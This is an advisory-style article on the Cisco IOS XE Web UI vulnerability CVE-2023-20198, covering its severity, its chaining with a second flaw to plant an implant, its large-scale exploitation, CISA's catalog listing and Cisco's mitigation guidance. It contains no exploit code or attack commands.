CVE-2023-20198 lives in the Web UI feature of Cisco IOS XE Software — the operating system that powers a large share of the world's enterprise switches, routers, and wireless LAN controllers. The flaw carries the maximum CVSS score of 10.0 because of how little an attacker needs: no authentication, no special access, just the ability to reach the device's web management interface.

Successful exploitation lets a remote attacker create a local user account with privilege level 15 — Cisco's top privilege tier, equivalent to full administrative control of the device. From there, attackers were observed pairing the bug with a second vulnerability, CVE-2023-20273, to inject a persistent implant directly into the device's filesystem.

The scale of exploitation

This wasn't a narrow, targeted campaign. Within days of Cisco's disclosure, scans of the public internet found tens of thousands of IOS XE devices carrying signs of the implant — a number that made this one of the largest network-device compromise events of 2023. Devices with the web UI feature exposed directly to the internet — a configuration many administrators use for remote management — were the most exposed.

Cisco's Talos threat intelligence team published detection guidance, including a curl-based check administrators could run to look for the implant's signature file, and urged any organization running IOS XE with internet-facing web management to assume compromise and re-image affected devices rather than simply patch and move on, since the implant could survive in some configurations.

CISA's response

CVE-2023-20198 was added to the CISA Known Exploited Vulnerabilities catalog with an expedited remediation deadline reflecting both the severity and the confirmed in-the-wild exploitation. Federal civilian agencies running affected Cisco gear were required to patch or disconnect exposed devices on a compressed timeline.

What administrators should do

Cisco's guidance was consistent: disable the web UI feature on internet-facing devices where it isn't strictly required, apply the patched IOS XE release, and check for the implant specifically — patching alone does not remove an implant already deployed on a compromised device. Full technical detail, affected platforms, and patch availability are in Cisco's security advisory and the CISA KEV catalog entry.

This article describes the vulnerability's impact and Cisco's official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.